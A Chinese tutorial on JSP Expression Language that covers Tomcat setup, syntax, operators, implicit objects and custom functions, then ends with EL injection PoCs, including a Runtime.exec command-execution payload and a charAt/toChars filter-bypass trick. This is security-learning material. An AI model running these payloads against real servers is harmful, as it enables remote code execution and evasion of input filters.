介绍

EL 全名为Expression Language,是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。
EL主要作用:

  • 获取数据
    EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
  • 执行运算
    利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
  • 获取web开发常用对象
    EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
  • 调用Java方法
    EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。

快速搭建tomcat环境

因为需要使用到JSP来学习EL表达式,所以想法是快速搭一个tomcat环境,之前采用的是添加tomcat依赖到pom.xml的方法,使用内置tomcat,但是感觉搭建环境速度太慢了,所以学了个新的方法来快速搭建tomcat环境
参考:https://blog.51cto.com/u_15119353/3309943

前期准备

  • tomcat可用版
  • IDEA

tomcat各版本下载地址:https://archive.apache.org/dist/tomcat/tomcat-8/

环境搭建

先建一个平平无奇的Java项目
image-20211014111720501
然后右键,选择Add Framework Support...
image-20211014111632882
勾选Web Application
image-20211014111809443
这个时候就会多一个web目录,也就是我们的webapps目录
image-20211014111858102
打开Project Structure窗口,新建2个文件夹在WEB-INF目录下,分别是classeslib,这一步是为了添加项目类路径
image-20211014112035411
修改编译后的类路径到我们刚才新建的classes目录下
image-20211014112210056
添加本地tomcat服务器
image-20211014112311481
配置好需要的信息,然后Fix修复一下
image-20211014112424745
给应用上下文路径设置为跟路径,如果这里设置为/a 则访问就变成 localhost:8080/a/
image-20211014112521316
然后启动运行即可
image-20211014112725096
项目结构
image-20211014112741333

EL表达式使用

EL基础语法

在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}表示。
例如,${userinfo}代表获取变量userinfo的值。当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量,例如:${pageScope.userinfo}表示访问page范围中的userinfo变量。


简单地说,使用EL表达式语法:${EL表达式}
其中,EL表达式和JSP代码等价转换。事实上,可以将EL表达式理解为一种简化的JSP代码。
扩展JSP代码的写法总结:

  • JSP表达式:<%=变量或表达式>
    向浏览器输出变量或表达式的计算结果。
  • JSP脚本:<%Java代码%>
    执行java代码的原理:翻译到_jspService()方法中。
  • JSP声明:<%!变量或方法%>
    声明jsp的成员变量或成员方法。
  • JSP注释:<%!--JSP注释--%>
    用于注释JSP代码,不会翻译到Java文件中,也不会执行。

    [ ]与.运算符

    EL表达式提供.[]两种运算符来存取数据。
    当要存取的属性名称中包含一些特殊字符,如.-等并非字母或数字的符号,就一定要使用[]。例如:${user.My-Name}应当改为${user["My-Name"]}
    如果要动态取值时,就可以用[]来做,而.无法做到动态取值。例如:${sessionScope.user[data]}中data 是一个变量。

    获取变量举例

    ``` <%@ page import=”java.util.HashMap” %> <%@ page contentType=”text/html;charset=UTF-8” language=”java” %>

<% request.setAttribute(“name”,”张三”); request.setAttribute(“request”, “request_name”); session.setAttribute(“session”, “session_name”); pageContext.setAttribute(“page”, “page_name”); application.setAttribute(“application”, “application_name”); HashMap map = new HashMap<>(); map.put(“my-name”, “admin”); request.setAttribute(“test”, map); %>

从四个作用域中搜索变量:${name}
<%—获取作用域—%> 从requestScope作用域中获取变量:${requestScope.request}
从sessionScope作用域中获取变量:${sessionScope.session}
从pageScope作用域中获取变量:${pageScope.page}
从applicationScope作用域中获取变量:${applicationScope.application}
从作用域中获取特殊符号变量:${requestScope.test[“my-name”]}

  1. ### 操作符
  2. |
  3. 类型
  4. | 符号
  5. |
  6. | --- | --- |
  7. |
  8. 算术型
  9. | +、-(二元)、`*`、/、div、%、mod、-(一元)
  10. |
  11. |
  12. 逻辑型
  13. | and、&&、or、&#124;&#124;、!、not
  14. |
  15. |
  16. 关系型
  17. | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
  18. |
  19. |
  20. | empty 空操作符是前缀操作,可用于确定值是否为空。
  21. |
  22. |
  23. 条件型
  24. | A ?B :C 。根据 A 赋值的结果来赋值 B C
  25. |
  26. **运算符优先级如下(从高到低,从左到右):**
  27. - `[] .`
  28. - `()` (用于更改运算符的优先)
  29. - `-` (一元) `not ! empty`
  30. - `* / div % mod`
  31. - `+ -` (二元)
  32. - `+=`
  33. - `<> <= >= lt gt le ge`
  34. - `== != eq ne`
  35. - `&& and`
  36. - `|| or`
  37. - `? :`
  38. - `->`
  39. - `=`
  40. - `;`
  41. ### 隐含对象
  42. EL表达式语言中定义了11个隐含对象,使用这些隐含对象可以很方便地获取web开发中的一些常见对象,并读取这些对象的数据。<br />
  43. 语法:`${隐式对象名称}`:获得对象的引用
  44. |
  45. 序号
  46. | 隐含对象名称
  47. |
  48. |
  49. | --- | --- | --- |
  50. |
  51. 1
  52. | pageContext
  53. | 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
  54. |
  55. |
  56. 2
  57. | pageScope
  58. | 代表page域中用于保存属性的Map对象
  59. |
  60. |
  61. 3
  62. | requestScope
  63. | 代表request域中用于保存属性的Map对象
  64. |
  65. |
  66. 4
  67. | sessionScope
  68. | 代表session域中用于保存属性的Map对象
  69. |
  70. |
  71. 5
  72. | applicationScope
  73. | 代表application域中用于保存属性的Map对象
  74. |
  75. |
  76. 6
  77. | param
  78. | 表示一个保存了所有请求参数的Map对象
  79. |
  80. |
  81. 7
  82. | paramValues
  83. | 表示一个保存了所有请求参数的Map对象,它对于某个请求参数,返回的是一个string[]
  84. |
  85. |
  86. 8
  87. | header
  88. | 表示一个保存了所有http请求头字段的Map对象,注意:如果头里面有“-” ,例Accept-Encoding,则要header[“Accept-Encoding”]
  89. |
  90. |
  91. 9
  92. | headerValues
  93. | 表示一个保存了所有http请求头字段的Map对象,它对于某个请求参数,返回的是一个string[]数组。注意:如果头里面有“-” ,例Accept-Encoding,则要headerValues[“Accept-Encoding”]
  94. |
  95. |
  96. 10
  97. | cookie
  98. | 表示一个保存了所有cookieMap对象
  99. |
  100. |
  101. 11
  102. | initParam
  103. | 表示一个保存了所有web应用初始化参数的map对象
  104. |
  105. ### 函数
  106. EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法。语法:`${prefix:method(params)}`<br />在EL表达式中调用的只能是Java类的静态方法,这个Java类的静态方法需要在TLD文件中描述,才可以被EL表达式调用。<br />EL自定义函数用于扩展EL表达式的功能,可以让EL表达式完成普通Java程序代码所能完成的功能。
  107. ---
  108. 举例: >编写一个让所有字符大写的函数<<br />一般来说, EL自定义函数开发与应用包括以下三个步骤:<br />1、编写一个Java类的静态方法<br />2、编写标签库描述符(tld)文件,在tld文件中描述自定义函数。<br />3、在JSP页面中导入和使用自定义函数<br />1、编写一个Java类的静态方法,代码如下

public class ELFunc { public static String up(String message) { if (message == null){ return null; } return message.toUpperCase(); } }

  1. 2、编写标签库描述符(tld)文件,在tld文件中描述自定义函数。<br />`ELFunc.tld`位置<br />![image-20211014135608617](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987502822-a6b62618-8b5d-4912-afda-7fefd4db83fa.png)<br />代码

<?xml version=”1.0” encoding=”UTF-8”?>

1.0 ELFunc /ELFunc up ELFunc java.lang.String up(java.lang.String)
  1. 3、在JSP页面中导入和使用自定义函数

<%—引入EL自定义函数库 —%> <%@taglib uri=”/ELFunc” prefix=”fn” %> ${fn:up(“123aaabbbCCC”)}

  1. 实验了好久代码应该是没问题的,但是还是有报错,后面需要再解决这个问题吧,今天是解决不了了,不然一天没了。。。
  2. ### 禁用/启用EL表达式
  3. 全局禁用EL表达式,web.xml中进入如下配置:

*.jsp true

  1. 单个文件禁用EL表达式 JSP文件中可以有如下定义:

<%@ page isELIgnored=”true” %>

  1. 该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。<br />JSP2.0中默认的启用EL表达式。
  2. ## EL表达式注入
  3. 原理都是一样的:表达式全部或部份外部可控。列一些通用的poc

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) ${pageContext}

//获取Web路径 ${pageContext.getSession().getServletContext().getClassLoader().getResource(“”)}

//文件头参数 ${header}

//获取webRoot ${applicationScope}

//执行命令 ${pageContext.request.getSession().setAttribute(“a”,pageContext.request.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“calc”).getInputStream())}

  1. ![image-20211014144817368](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987503983-2d18aa05-8730-4179-a796-cc15c60c58bd.png)
  2. ## EL表达式注入绕过
  3. 通过 `charAt` `toChars` 获取字符,在由 `toString` 转字符串再用 `concat` 拼接来绕过一些敏感字符的过滤

${“xxx”.toString().charAt(0).toChars(97)[0].toString()} ${“xxx”.toString().charAt(0).toChars(97)[0].toString().concat(“xxx”.toString().charAt(0).toChars(98)[0].toString())}

`` 通过以上代码,只需要修改toChars()`中的ascii码值就可以变成任意字符

参考